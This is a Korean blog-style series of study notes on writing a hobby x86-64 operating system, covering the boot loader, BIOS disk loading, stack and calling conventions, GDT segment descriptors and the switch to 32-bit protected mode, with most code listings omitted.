이렇게 생성한 Dependency.dep 파일을 makefile에 포함해야 각 파일의 의존 관계를 분석하여 정확한 빌드를 수행할 수 있다. make는 수행 시 다른 makefile 포함하는 기능을 제공하며, include 지시어가 바로 그러한 역할을 담당한다. 무조건 include Dependency.dep 를 수행하면 안된다. include 지시어는 해당 파일이 없으면 에러를 발생시킨다. 따라서 최초 빌드시나 오브젝트 파일을 정리하고 나서 다시 빌드할때 Dependency.dep 파일이 없으면 빌드 에러가 발생한다. 이를 피하기위해 현재 디렉터리를 검사해서 파일이 있을때만 포함해야한다. 이러한 작업은 make의 조건문과 wildcard 함수를 조합하면 된다.


커널 디렉터리는 소스 디렉터리(Source)와 임시 디렉터리(Temp)로 다시 구분되며, 커널 빌드 작업은 임시 디렉터리를 기준으로 수행한다. 따라서 Dependancy.dep 파일의 내용과 경로를 같게 하려면 make르 수행하는 디렉터리를 변경하는 옵션 -C를 이용하여 임시 디렉터리로 변경한 후 makefile을 수행한다. 최종 결과물인 보호 모드 커널 이미지는 컴파일과 링크 과정이 끝난 후에 보호 모드 엔트리 포인트와 바이너리로 변환된 C 커널을 결합하여 생성한다.


// 이후 makefile은...생략...?




0x06_32비트 보호모드 전환

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

32비트 보호모드로 전환


리얼모드에서 보호모드로 전환 하려면 6단계가 필요하다.

단계

 모드

 설명

 1

 16비트 리얼모드

 세그먼트 디스크립터 생성

보호 모드 코드와 데이터용 세그먼트 디스크립터 생성

 2

 16비트 리얼모드

GDT 정보 생성

세그먼트 디스크립터의 시작 어드레스와 디스크립터의 전체 크기 저장

 3

 16비트 리얼모드

 프로세서에 GDT 정보 설정

GDTR 레지스터에 GDT의 시작 어드레스와 크기 설정

 4

 16비트 리얼모드

 CR0 컨트롤 레지스터 설정

CR0 컨트롤 레지스터의 PE 비트=1, PG 비트=0

 5

 16비트 리얼모드

 jmp 명령으로 CS 세그머늩 셀렉터 변경과 보호 모드로 전환

jmp 0x08: 보호모드 커널의 시작 어드레스

 6

 32비트 보호모드

 각종 세그먼트 셀렉터 및 스택 초기화

DS, ES, FS, GS, SS 세그먼트 셀렉터와 ESP, EBP 레지스터 초기화

 7

 32비트 보호모드

 보호 모드 커널 실행


세그먼트 디스크립터 생성


세그먼트 디스크립터(Segment Descriptor)는 세그멘테이션 기법(메모리 관리 기법)에서 세그먼트의 정보를 나타내는 자료구조이다. 세그먼트는 메모리 공간을 임의의 크기로 나눈 영역을 의미하며, 세그먼트를 복잡하게 구성할수록 세그먼트 디스크립터의 수도 증가한다. 


세그먼트에 대한 정보를 나타내는 세그먼트 디스크립터는 크게 코드 세그먼트 디스크립터와 데이터 세그먼트 디스크립터로 나누어진다. 코드 세그먼트 디스크립터는 실행 가능한 코드가 포함된 세그먼트에 대한 정보를 나타내며, CS 세그먼트 셀렉터에 사용된다. 데이터 세그먼트 디스크립터는 데이터가 포함된 세그먼트에 대한 정보를 나타내며, CS 세그먼트 셀렉터를 제외한 나머지 셀렉터에 사용할 수 있다. 스택 영역 또한 데이터를 읽고 쓰는 데이터 영역의 한 종류이므로 데이터 세그먼트 디스크립터를 사용한다.


내가 만들 OS에서 필요로 사용되는 세그먼트는 다음과 같다.

    • 커널 코드와 데이터용 세그먼트 디스크립터 각 1개
    • 커널 코드와 데이터용 세그먼트는 0~4GB까지 모든 영역에 접근할 수 있어야한다.
    • 보호모드용 코드와 데이터에 사용할 기본 오퍼랜드 크기는 32비트여야한다.
    • 보호 기능은 사용하지 않으며, 프로세서의 명령을 사용하는데 제약이 없어야 하므로 최상위 권한 0이어야 한다.

코드 세그먼트 디스크립터와 데이터 세그먼트 타입 설정


코드 세그먼트와 데이터 세그먼트를 설정 하려면 S필드와 타입 필드를 조합해야한다. S필드를 살펴보자.. 코드 세그먼트와 데이터 세그먼트는 세그먼트 디스크립터이므로 간단하게 s필드의 값을 1로 설정한다. 세그먼트 타입은 4비트 크기의 타입 필드를 이요해서 설정한다. 또한 기본적인 세그먼트 타입만 사용하고, 코드 세그먼트는 실행/읽기 타입으로 설정하고 데이터 세그먼트는 읽기/쓰기 타입으로 설정한다. 따라서 코드 세그먼트 타입은 0x0a(Execute/Read), 데이터 세그먼트 타입은 0x02(Read/Write)가 된다.


// 그에 따른 이유는 아래 표를 참고..


세그먼트 영역 설정

OS의 커널 세그먼트 디스크립터는 4GB 전체 영역에 접근할 수 있어야한다. 그러므로 커널용 세그먼트 디스크립터의 기준 주소는 0으로 설정한다. 세그먼트의 기준 주소는 결정했으니 이제 세그먼트의 크기를 설정할 차례이다. 크기 필드는 총 20비트며 20비트로 표현할 수 있는 최댓값은 2^20(=1MB)이다. 크기 필드만으로는 4GB까지의 영역을 표현할 수 없으므로 20비트의 크기를 4GB로 확장할 무엇인가가 필요하다. 이때 사용하는 것이 G필드이며, G필드의 값을 1로 설정하면 크기 필드에 4KB를 곱한 것이 실제 세그먼트의 크기가 된다. 1MB에 4KB를 곱하면 4GB가 되므로 크기 필드와 G필드를 사용하면 메모리 전체 영역을 세그먼트의 입력으로 설정할 수 있다.


기본 오퍼랜드 크기와 권한 설정

보호 모드는 32비트로 동작하므로 기본 오퍼랜드의 크기 역시 32비트로 설정한다. 여러 필드 중에 기본 오퍼랜드의 크기는 D/B 필드가 담당하며, 1로 설정하면 기본 오퍼랜드의 크기를 32비트로 설정할 수 있다. 기본 오퍼랜드의 크기와 관련된 필드가 D/B필드만 있는것은 아니다. IA-32e모드의 64비트 서브 모드 또는 32비트 호환 모드를 설정하는 L필드도 있다. 디스크립터는 보호 모드용이므로 L비트는 0으로 설정한다. 


권한 필드는 보호 모드의 주요 특징 중 하나인 보호 기능에 핵심 역할을 한다. 프로세서는 디스크립터의 권한 필드에 설정된 값과 세그먼트 셀렉터의 권한을 비교하여 접근이 가능한지를 판단하며, x86 프로세서에서 동작하는 운영체제의 대부분도 이 기능를 사용하여 OS의 핵심 부분을 보호하고 있다. 


기타 필드 설정

생성한 세그먼트 디스크립터는 보호 모드로 전환하는 과정에서 사용하므로 유효한 디스크립터라는 것을 알려야한다. 디스크립터가 유효함을 나타내는 필드는 P필드이며 1로 설정하면 해당 디스크립터를 사용할 수 있다. AVL필드는 임의로 사용할 수 있는 필드로 OS에선 별도의 값을 사용하지 않기 때문에 0으로 설정한다.


세그먼트 디스크립터 생성 코드

// 코드 세그먼트 디스크립터와 데이터 세그먼트 디크스립터를 생성하는 내용.



64비트 IA-32e 모드로 전환하려면 반드시 32비트 보호 모드를 거쳐야 한다. 보호 모드는 현대 OS가 제공하는 4GB의 주소 공간, 멀티태스킹, 페이징, 메모리 보호 등의 기능을 하드웨어적으로 지원한다. 목표가 32비트 OS라면 깊게 공부해야한지만, 64비트 OS로 전환하기 위한 임시모드로 쓰기때문에 깊게 공부할 필요가 없다. 보호 모드의 전체 기능에 대해서 살펴보기 보다는 64비트 모드로 전환하는데 필요한 기능을 중심으로 알아보자. 

GDT 정보 생성 

GDT(Global Descriptor Table) 자체는 연속된 디스크립터의 집합이다.  사용하는 코드 세그먼트 디스크립터와 데이터 세그먼트 디스크립터를 연속된 어셈블리어 코드로 나타내면 그 전체 영역이 GDT가 된다. 

다만 한 가지 제약 조건이 있다면 널 디스크립터(NULL Descriptor)를 가장 앞부분에 추가해야한다는 것이다. 널 디스크립터는 프로세서에 의해 예약된 디스크립터로 모든 필드가 9으로 초기화된 디스크립터이며 일반적으로 참조되지 않는다.

GDT는 디스크립터의 집합이므로 프로세서에 GDT의 시작 어드레스와 크기 정보를 로딩해야한다. 따라서 이것을 저장하는 자료구조가 필요하다.

GDT 정보를 저장하는 자료구조의 기준 주소는 32비트의 크기이며, 데이터 세그먼트의 기준 주소와 관계없이 어드레스 0을 기준으로 하는 선형 주소이다. 따라서 GDT의 시작 어드레스를 실제 메모리상의 어드레스로 변환할 필요가 없다. GDT의 선형 주소는 현재 코드가 실행되고 있는 세그먼트의 기준 주소를 알고 있으므로, 현재 세그먼트의 시작을 기준으로 GDT의 오프셋을 구하고, 세그먼트 기준 주소를 더해주면 구할 수 있다. 현재 코드는 부트로더에 의해 0x10000에 로딩되어 실행되고 있으므로 자료구조를 생성할 때 GDT 오프셋에 아래와 같이 0x10000을 더해주면 선형 주소가 된다.

보호모드로 전환

보호 모드로 전환하려면 GDTR 레지스터 설정, CR0 컨트롤 레지스터 설정, jmp 명령 수행 3단계만 수행하면 된다. 프로세서의 레지스터에 값을 설정하는 작업은 앞에서 살펴본 작업보다 훨씬 간단하다.

프로세스에 GDT 정보 설정

 lgdt 명령어를 2바이트 크기와 4바이트 기준 주소로 된 GDT 정보 자료 구조를 오퍼랜드로 받는다.

// lgdt [ GDTR ]       ; GDTR 자료구조를 프로세서에 설정하여 GDT 테이블을 로드

CR0 컨트롤 레지스터 설정

CR0 컨트롤 레지스터에는 보호 모드 전환에 관련된 필드 외에 캐시(Cache), 페이징(Paging), 실수 연산 장치(FPU) 등과 관련된 필드가 포함되어 있다. 

OS에서 보호모드는 거쳐가는 임시 모드에 불과하므로 세그먼테이션 기능외에는 사용하지 않는다. 따라서 페이징, 캐시, 메모리 정렬 검사, 쓰기 금지 기능을 모두 사용하지 않음으로 설정하면 된다. FPU 역시 쓰지 않으므로 임시 값으로 설정한다. FPU 에 관련된 필드를 제외한 나머지필드는 해당 필드를 설정하는 것만으로 관련 기능을 제어할 수 있다. 하지만, FPU에 관련된 필드(EM, ET, MP, TS, NE)는 서로 연관되어 있으므로 FPU 관련 필드를 설정하는 방법에 대해서 알아보자.

먼저, FPU 내장 여부에 관련된 필드부터 설정하겠다. x86 프로세서에는 FPU가 내장되어 있으므로 EM 필드를 0으로 설정해서 FPU 명령을 소프트웨어로 에뮬레이션하지 않게 하고, ET 필드를 1로 설정한다. 지금은 임시로 초기화를 수행한 것이므로 FPU를 사용하면 정상적으로 작동하지 않는다. 따라서 MP 필드와 TS 필드와 NE 필드를 1로 설정하여 FPU 명령이 실행되었을때 예외가 발생하게 설정한다. 보호 모드에서는 예외에 대해 처리르 ㄹ하지 않으므로 가능하면 실수 연산을 하지 않는것이 좋다.

보호 모드로 전환과 세그먼트 셀렉터 초기화

보호 모드로 전환하기 위한 준비는 끝났다. 남은 것은 32비트 코드를 준비한 후, 한 줄의 어셈블리어 코드로 CS 세그먼트 셀렉터(=레지스터)의 값을 바꾸는 것이다.

16비트에서 32비트로 전환 하려면 BITS 명령어를 사용한다. 

CS 세그먼트 셀렉터를 교체하려면 jmp 명령과 세그먼트 레지스터 접두사를 사용해야한다. 리얼 모드의 세그먼트 레지스터는 세그먼트의 시작 어드레스(기준주소)를 저장하는 레지스터이다. 보호 모드의 세그먼트는 리얼모드와 달리 다양한 정보를 포함하고 있으므로 세그먼트 정보는 디스크립터에 저장하고 세그먼트 셀렉터는 그 디스크립터를 지시하는 용도로 사용한다.

// 이후 화면 출력 내용은..생략...

// 출력이 주된 목표가 아닌 원리 구조 파악으로 진행중.

0x05_플로피 디스크에서 OS이미지 로딩

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

BIOS서비스와 소프트웨어 인터럽트

BIOS 에선 키보드/마우스같은 주변기기 에 대한 제어하는 기능을 제공한다. 16비트의 OS를 구현한다고 하면 BIOS만 활용해서 OS를 개발 할 수 있다.


BIOS는 기존의 라이브러리 파일과 달리 자신의 기능을 외부적으로 특별하게 제공한다. 함수의 어드레스를 인터럽트 벡터 테이블(Interrupt Vector Table)에 넣어두고, 소프트웨어 인터럽트(SWI, Software Interrupt)를 호출하는 방법을 사용한다. 인터럽트 벡터 테이블은 메모리 어드레스 0에 있는 테이블로 특정 번호의 인터럽트가 발생했을때 인터럽트를 처리하는 함수검색에 사용한다. 인터럽트가 발생했을 때 처리하는 함수 어드레스가 저장되어있으며, 각 항목은 크기가 4바이트이다. 또한 인터럽트는 최대 256개 까지 설정할 수 잇으므로 리얼 모드의 인터럽트 벡터 크기는 최대 1024(256 * 4)바이트가 된다.


여기서 BIOS가 제공하는 플로피 디스크 서비스를 이용하려면 0x13 인터럽트(Disk I/O Service)를 발생해야 된다. SWI는 CPU에 가상으로 특정 인터럽트가 발생했다고 알리는 명령어로 int 0x13 형태로 사용한다. 또한 함수의 어드레스를 인터럽트 벡터 테이블에 넣어뒀다면 int 명령으로 언제든지 해당 함수로 이동할 수 있다.


결론만 말하자면 BIOS 서비스는 SWI로 호출을 할 수 있지만 결국 독자적으로 사용은 못한다. 결국 관련된 파라미터를 넘겨 줘야 되는데 그때 사용되는게 레지스터이다.


// 관련된 이미지가 없다... 흐앙


OS 이미지 로딩 구현

Bashsi OS에서 이미지는 크게 부트로더, 보호 모드 커널, IA-32e 모드 커널로 구성되어 있다. 각 부분은 섹터 단위로 정렬해서 하나의 부팅 이미지 파일로 합치며 디스크의 두번째 섹터부터 읽어서 특정 메모리 어드레스에 순서대로 복사하면 이미지 로딩은 끝이다. 고로 OS 이미지 를 0x10000(64Kbyte)에 로딩해서 실행한다. 


// OS 이미지를 반드시 0x10000 위치에 로딩해야 실행되는것은 아니다. 부트로더 이후(0x07C00)에 연속해서 복사해도 OS실행에 문제는 없다.


플로피 디스크의 첫 번째 섹터는 부트로더로 BIOS가 메모리에 로딩한다. 따라서 플로피 디스크의 두 번째 섹터부터 OS 이미지 크기만큼 읽어서 메모리에 복사하면 된다. 플로피 디스크의 섹터는 '섹터 > 헤드 > 트랙' 의 순서로 배열되어 있으므로 이 순서만 지킨다면 큰 문제 없이 로딩할 수 있다.


또한 이걸 이제 ASM화 시켜보자.


// 한없이 작은 맥북에어...


어셈블리어 소스 코드와 디스크 리셋 기능만 부트로더에 추가하면 로딩할 준비가 끝난다. 그런데 기능은 구현했지만 화면에 출력하는 코드가 없어서 진행 상황이나 완료 유무를 확인하기 어렵다. 이번에는 화면에 진행 상태를 출력하도록 코드를 추가해보자..


앞에서 환영 메시지를 출력하는 코드를 구현했다. 하지만 함수 형태로 구현하지 않아서 원하는 곳에서 호출할 수 없었다. 무네즌 코드 구조뿐 만 아니라 함수 호출에 필요한 핵심 자료구조또한 빠져있다는것이다. 이를 보완하여 함수 호출이 가능한 구조로 만들어 보자.


스택 초기화 와 함수 구현

x86 프로세서에서 함수를 사용하려면 스택이 꼭 필요하다...


x86 프로세서에서는 함수를 호출한 코드의 다음 어드레스, 즉 되돌아갈 어드레스(Return Address)를 저장하는 용도로 스택을 사용한다. 함수를 호출하면 프로세서가 자동으로 되돌아올 어드레스를 스택에 저장하며, 호출된 함수에서 되돌아감(RET)을 요청하면 자동으로 스택에서 어드레스를 꺼내 호출한 다음 어드레스로 이동하는 것이다. 스택은 복귀 어드레스를 저장하는 역할뿐만 아니라 함수의 파라미터를 저장하는 역할도 겸한다. 호출하는 쪽 과 호출되는 쪽 은 정해진 규칙에 따랄 파라미터를 스택에 저장함으로서 협엄할 수 있다.


함수 호출을 위해 가장 먼저 해야할 일은 스택 생성이다. x86프로세서는 스택관련 레지스터가 세가지 있다. 스택 세그먼트 레지스터(SS)와 스택 포인터 레지스터(SP), 그리고 베이스 포인터 레지스터(BP) 가 있다. 스택 세그먼트 레지스터는 스택 영역으로 사용할 세그먼트의 기준 주소를 지정한다. 스택 포인터 레지스터는 데이터를 삽입하고 제거하는 상위을 지정한다. 마지막으로 베이스 포인터 레지스터는 스택의 기준 주소를 임시로 지정할 때 사용한다. 16비트 모드는 세그먼테이션 방식으로 어드레스를 변환하므로 스택 세그먼트 레지스터를 사용해서 최대 64KB를 스택 영역으로 지정할 수 있다. 스택 세그먼트 레지스터에 0x0000을 설정한다면 사용가능한 영역은 0x00000~0x0FFFF까지가 되며, 스택 세그먼트 레지스터에 0x1000을 설정한다면 사용 가능한 영역은 0x010000~0x01FFFF까지가 된다. 스택 세그먼트 레지스터로 스택 세그먼트의 범위는 지정할 수 있지만, 실제 스택의 크기는 지정할 수 없다.


따라서 스택의 실제 크기는 스택 포인터 레지스터와 베이스 포인터 레지스터의 조깃값으로 지정한다. x86프로세서의 스택은 아래와 같이 데이터가 삽입될때마다 스택의 상위(TOP)를 나타내는 스택 포인터 레지스터가 낮은 어드레스(0x00에 가까운 주소)로 이동한다. 따라서 두 레지스터의 초깃값을 어떻게 설정하는가에 따라서 스택의 크기가 결정된다.



스택으로 사용할 영역을 결정해야하는데, 0x010000(64KB) 어드레스부터는 OS 이미지가 로딩되므로 0x010000이하, 즉 0x0000:0000~0x0000:FFFF 영역을 사용하겠다. 따라서 스택 세그먼트 레지스터(SS)의 값은 0x0000으로 설정하겠다. 또한 스택은 넉넉한 것이 좋으므로 스택 포인터 레지스터와 베이스포인터 레지스터를 0xFFFE로 설정하여, 스택 영역의 크기를 세그먼트의 최대크기로 지정하겠다. 아래 소스가 부트로더 앞부분에 추가될 스택 초기화 코드이다.



이제 스택 설정이 끝이 났다. 이제는 메세지를 출력하는 함수를 구현해 보자. 메세지를 출력하는 함수는 대부분 같다. 함수에서 사용하는 레지스터를 저장하고, 복구하는 코드와 넘겨받는 파라미터를 스택에서 꺼내는 코드를 추가하면 된다. x86 프로세서는 스택 작업을 처리하는 두 가지 명령 push, pop을 지원하며, 각 명령은 스택에 데이터를 넣고 꺼낸다.



구현할 C언어 코드 :: PrintMessage(iX, iY, pcString);


위 코드를 보면 함수 호출을 끝낸 뒤 스텍 포인터 레지스터(SP)에 6을 더한다. 이는 함수 파라미터로 스택에 삽입된 값을 제거하기 위함이다. 16비트 모드에서는 스택에 2바이트(WORD) 크기로 삽입/제거되고 삽입은 스택 포인터 레지스터(SP)를 아래로 이동시킨다. 따라서 파라미터 3개가 삽입되면 삽입되기 전의 위치에서 -6(2바이트 * 3)만큼 이동할 것이다. 함수 수행이 끝난후, 스택을 다시 원래대로 복원하려면 감소한 만큼 더해주면 되므로 6을 더하는 것이다. 


호출하는 코드는 작성이 완료 되었으니, 이번엔 호출받는 코드를 작성하자. 스택의 특정 위치를 기준으로 오프셋을 이용해 접근하면 파라미터를 찾게 되는데 여기서 문제가 한 가지 있다. 스택의 상위(TOP)을 의미하는 스택 포인터 레지스터(SP)는 스택 관련 명령(push, pop)에 따라 계속 변한다는 것이다. 스택에 삽입된 파라미터에 접근하려면 시시가각 변하는 스택 포인터 레지스터(SP)대신 스택에 고정된 갑승ㄹ 가리키는 레지스터를 사용하는거싱 편리하다. 이러한 역할을 하는 거싱 베이트 포인트 레지스터(BP)이며, 호출된 함수는 베이스 포인터 레지스터(BP) + 오프셋으로 파라미터에 접근하게 된다.


호출되는 함수에서는 자신이 사용하는 레지스터의 값을 미리 스택에 저장해두고, 수행이 끝나면 이를 복원하여 호출한 이후의 코드 수행에 영향을 미치지 않아야 한다. 



이를 바탕으로 메세지 출력 함수를 수정해보자.



보호모드에서 사용되는 세 가지 함수 호출 규약

이번엔 보호 모드에서 주로 사용하는 함수 호출 규약 세 가지를 잠깐 살펴보자. 호출 규약(Calling Convention)은 함수를 호출할 때 파라미터와 복귀 어드레스 등을 지정하는 규칙이다. 보호 모드에서 사용하는 대표적인 호출 규약에는 stdcall, cdecl, fastcall이 있다. stdcall 방식은 파라미터를 스택에 저장하며, 호출된 쪽에서 스택을 정리한다. cdecl 방식식도 역시 파라미터를 스택에 저장하지만, 함수를 호출한 짜고스택을 정리한다. fastcall 방식은 일부 파라미터를 레지스터에 저장하는 것을 제외하면 stdcall 방식과 같다.



stdcall(Standard call)은 파라미터를 스택에 넣을때 오른쪽에서 왼쪽 순서로 집어 넣는다. 그리고 함수의 반환값은 EAX 레지스터(32비트 AX레지스터)를 사용하며 스택에서 파라미터를 제거하는 작업을 호출된 함수가 처리하게 한다.



cdecl(C-Declare CAll)은 stdcall과 동일하게 파라미터의 오른쪽에서 왼쪽 순서로 스택에 집어넣는다. 함수의 반환값 역시 AX 레지스터를 사용한다. 단 한가지 차이점은 스택에서 파라미터를 제거하는 작업을 호출한 함수가 대신 처리한다는 점이다.


그럼 이제 9번 줄에서 ret 12 > ret 으로 수정되고 20번 줄 다음에 add esp, 12 가 추가 되어 작성 된다.


fastcall은 컴파일러마다 구현하는 방식이 조금씩 다르다. 윈도우에서 많이 쓰이는 마이크로소프트사의 컴파일러를 기준으로 설명하면, 처음 2개의 파라미터를 ECX, EDX 레지스터에 삽입하는 점을 제외하고는 stdcall과 같다.



IA-32e모드의 호출규약은 fastcall을 확장한 방식이며, 보다 많은 레지스터르 파라미터 전달용으로 사용한다. IA-32e모드로 전환되면 기존 레지스터에 8개의 범용 레지스터가 추가된다. IA-32e모드의 호출규약은 기존 레지스터와 추가된 레지스터를 포마하여 파라미터를 최대 6개까지 전달할 수 있도록 설계되었기 때문에, 파라미터 개수만 제한하여 사용하다면 스택관련 작업을 줄일 수 있다.

// 다음에는 소스코드 올리는 스크립트 써서 해야겠다....;;;

테스트를 위한 가상 OS 이미지 생성

가상 OS 이미지는 여기서만 사용하고 후에 실제 OS 이미지로 대체하므로 세세한 부분까지 구현하지 않아도 무관하다. 부트로더 코드를 기반으로 기능을 간소화하여 OS가 실행되었음을 표시하는 기능만 넣겠다. 자신의 섹터 번호를 화면 위치에 대응시켜서 0~9까지 번호를 출력한다면 화면에 출력된 문자의 위치와 수를 확인하여 정상여부를 판단할 수 있다.

먼저 kernel32 에서 가상 OS 소스파일로 사용할 VirtualOS.asm을 만든다. 부트 로더 코드와 동일한 방식으로 레지스터를 초기화 한 다음 화면 2번째 라인의 가장 왼쪽 위치에 0을 출력한다. SECTORCOUNT라는 메로리 어드레스는 정상적으로 처리된 섹터의 수를 기록하고, 이를 사용해 화면에 출력될 자표를 계산할 용도로 추가했다. 지금은 한 섹터 크기의 코드이므로 이 값이 중요한 역할을 하지는 않는다.

이제는 1섹터 크기의 가상 OS 코드를 확장해서 1024 섹터로 만들어 보겠다. 1024섹터의 가상 OS 이미지를 만든 방법은 의외로 간단하다. 1024 섹터중에 마니작 섹터를 제외한 1023섹터의 코드를 화면에 자신을 출력하는 코드 및 다음 섹터의 어드레스로 이동하는 코드를 반복하면 된다. 그리고 마지막 섹터 하나는 더이상 섹터가 없으므로 위 예제와 같이 자신을 출력하고 무한 루프를 수행하도록 하면 끝이다.

// 추가로 아래 마지막으로 반복문 종료로 %endrep 을 쓰자.


이후..makefile을 수정을 하여 QEMU를 생성하면 된다... 끝


0x04_BootLoader

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

시작전에...가상머신에서 환경 구축해서 안되고..내꺼 맥북에서도 안되서 그냥 내용 숙달로 진행할 계획...


위 그림을 보면 BIOS 영역과 OS영역이 있는데 전에 배웠던 모드에 따라 진행되는 순서도라 생각하면 이해가 빠를꺼 같다..


BIOS 부팅 과정에서도 수많은 작업을 하지만 OS 내용을 공부할꺼기 때문에 ... 일단 이번에는 부트로더 탭을 공부할 것인데

그전에 부트 로더 제작을 하여 메세지 출력? 까지 할 계획이다.


Makefile 파일 생성

Make 프로그램은 소스파일을 이용해서 자동으로 실행 파일 또는 라이브러리 파일을 만들어주는 빌드 관련 유틸리티이다.

그에 따른 문법은 다양한데 Target, Dependency, Command 이라는 3가지 부분으로 기본 형식이 주어진다.


내용은 걍 책 참고하고.. 이제 부트로더 생성 과정을 만들어보자.


디렉터리 구조는 일단 서술하자면


BASH64

ㄴ00.BootLoader

ㄴ01.Kernel32

ㄴSource

ㄴTemp

ㄴ02.Kernel64

ㄴSource

ㄴTemp

ㄴ03.Application

ㄴ04.Utility


이렇게 구성된다.


Makefile(메인최상위 디렉터리) 파일

Makefile(asm은 빼고 이클립스 작성기준)의 목적은 각 하위 디렉터리의 makefile을 실행하는 것 이다

지금은 부트 로더만 있으므로 해당 디렉터리로 이동해서 빌드를 하고, 빌드 결과물을 OS이미지를 생성 하는것이 전부이다.


00.BootLoader/makeflie 파일

위 파일은 BootLoader.asm 파일을 nasm 어셈블리어 컴파일러로 빌드 한 이후 BootLoader.bin파일을 생성하는 구문이다.


위 두파일 공통적으로 clean target이 정의 되어 있기 때문에 구문을 삭제 할 수 있는것을 알 수있다.


부트로더 소스코드 작성

// 어셈블리 기초는 따로 숙지... 이후 바로 부트로더 어셈블리로 코딩을 해보자.


00.BootLoader/BootLoader.asm 소스코드


뭐 주석으로 간단 설명을 했지만 다시 정리해보면 6번줄은 뺀다면 기본적인 부트로더 작성내용이라고 해도 무방하다..

이제 jmp쪽을 건드리면서 부트로더를 생성하면 된다.


이후 QEMU로 테스트를 할 수 있지만.. 환경이 없음으로 페쓰


화면 버퍼와 화면 제어

화면에 문자를 출력하려면 현재 동작 중인 화면 모드와 관련된 비디오 메모리의 주소를 알아야 된다. 비디오 메모리는 화면 출력과 관계된 메모리로 모드별로 정해진 형식에 따라 데이터를 채우면서 원하는 화면에 문자나 그림을 출력을 하는 구조로 되어있다.


기본적으로 비디오 메모리 주소는 0xB8000에서 시작하며 가로80자, 세로25자로 시작한다. 또한 화면에 표시하는 한 문자값은 1바이트와 속성값 1바이트로 구성되며 메모리 크기는 총 4000바이트이다.


// 구조에 따른 알고리즘 그림은 패스..

// 속성값 도표도 있는데.. 이것도 그냥 책보면서 넣어야 될듯.


// 이후 M글자 넣는거 나오는데 바로 넘어가서...


세그먼트 레지스터 초기화(문자열 출력)

전까지는 부트 로더가 잘 동작하는지 눈으로 확인 할 수 있게(사실 테스트는 안했다ㅎ) 확인해보았다..이후 작업에선 코드 이전에 세그먼트 레지스터에 초기화 하는 코드가 필요하다. BIOS가 부트 로더를 실행했을 때 세그먼트 레지스터에는 BIOS가 사용하던 값들이 들어 있기 때문이다. 그럼 당연 엉뚱한 주소로 접근 하기 때문에 결론적으론 초기화를 해야된다.


그렇다면 어떤 레지스터를 초기화 해야될까..  BASH64에서는 0x07C0으로 초기화 했다. 그 이유는 BIOS가 부트 로더를 디스크에서 읽어 메모리에 복사하는 위치가 0x7C00이기 때문이다. 또한 부트 로더의 코드(Code Segment)와 데이터(Data Segment)는 0x7C00부터 512바이트 범위에 존재하므로 CS와 DS세그먼트 레지스터를 모두 0x07C0을 설정하여 부트 로더의 시작을 기준으로 하도록 했으며, ES세그먼트 레지스터는 화면 출력에 관련된 세그먼트로 사용하려고 0xB800을 설정했다. 


// 그냥저냥한 코딩.


화면 정리 및 부팅 메세지 출력

출력하기전에 BIOS가 출력하는 메세지 때문에 지저분하니...일단 부팅 메세지를 지우는 코딩내용을 작성해야된다.


0xB8000 주소부터 4000바이트를 모두 0으로 채우는 방법이다. 하지만 다른 속성까지 모드 0으로 채우면 화면에 출력할 문자는 속성값을 같이 지정 해줘야하는 불편함이 있어 문자부분만 0으로 채우고 속성값은 0이 아닌 다른값으로 채울것이다. 검은색 바탕에 밝은 녹색으로 표시하도록 속성값은 0x0A로 진행하겠다.


그리고 C언어로 코딩된 BIOS 출력 메세지를 삭제하는 ASM은..



이제 그럼 문자열을 출력해보자..



// 출력 구문, 삭제구문 합친 코딩 내용.


0x03_프로세서 모드 및 레지스터

0x0500 : 기술, 분석 문서/0x0503 : OS 원리와 구조

인텔 64비트 호환 프로세서에는 크게 다섯가지 운영 모드가 있다.


리얼모드

// 프로세서의 초기 상태로서 16비트 모드로 동작.


보호 모드

// 32비트 모드로 동작하며 세그먼트, 페이징, 보호, 멀티태스킹 등의 기능을 제공하는 모드


IA-32E 모드

// 32비트 호환 모드와 64비트 모드의 두 가지 서브모드로 구성


시스템 관리 모드

// 전원 관리나 하드웨어 제어 같은 특수 기능을 제공하는 모드


가상 8086모드

// 보호 모드 내부에서 가상의 환경을 설정하여 리얼 모드처럼 동작하는 모드.


각각의 모드는 리얼 > 보호 > IA-32e 를 거쳐야 하는 경우가 대부분.

리얼모드는 보호모드만 진입할 수 있고 보호모드는 가상 8068, IA모드로 진입이 가능하다.

관련해선 80페이지를 참고하자


이후 모드에 따른 레지스터 내용이 나온다.

그림적인 내용이 많아 따로 설명이 힘든거 같다...


기본적으로 레지스터는 두종류가 있는거 같다(물론 지금까지 본 내용을 한으로 말이다.)

프로그램 레지스터, 시스템 레지스터 인데.. 프로그램 레지스터는 달고나 문서를 보면서 이해된 내용이 나오지만..

시스템 레지스터

XX비트 컨트롤 레지스터                     (32/64)

플래그 레지스터                                 (32/64)

글로벌 디스크립터 테이블 레지스터    (48/80)

인터럽트 디스크립터 테이블 레지스터 (48/80)

로컬 디스크립터 테이블 레지스터        (16/16)

태스크 레지스터                                (16/16)

모델 고유 레지스터


순으로 있다. 대충 기억하면 될듯 하다..


프로그램 레지스터에는 범용, 세그먼트, 인스트럭션(자주보는 EIP)가 있는데.

범용 레지스터

계산, 메모리 주소 지정, 임시 저장 공간 의 목적으로 사용된다.


AX : 산술 연산을 수행할 때 누산기로 사용

BX : 데이터의 어드레스를 지정할 때 데이터 포인터로 사용

CX : 루프 또는 문자열의 카운터로 사용

DX : I/O 어드레스를 지정할 때 사용되며, 산술 연산을 수행할 때 보조 레지스터로 사용

SI : 문자열에 관련된 작업을 수행할 때 원본 문자열의 인덱스로 사용

DI : 문자열에 관련된 작업을 수행할 때 목적지 문자열의 인덱스로 사용

SP : 스택 포인터

BP : 스택의 데이터에 접근 할 때 데이터의 포인터로 사용

R8 ~ R15 : 86-64프로세서에 추가된 범용 레지스터로, 다양한 용도로 사용 가능


86페이지를 참고하면 각각의 모드마다 접근이 가능한 레지스터의 내용이 나온다.


세그먼트 레지스터

16비트 레지스터로 어드레스 영역을 다양한 크기로 구분하는 역할을 하는데, 주된 역활은 주소 영역 구분이지만 모드마다 조금씩 다르다.

보호모드, IA-32e모드  = 접근 권한 으로도 사용되기도 한다. 


CS : 코드 영역을 가리키는 레지스터

// 데이터 이동으로 값을 변경할 수 없으며, 점프 명령이나 인터럽트 관련 명령으로 변경 가능.

DS, ES, FS : 데이터 영역을 가리키는 레지스터.

// 데이터 이동 명령으로 값을 변경할수 있음.

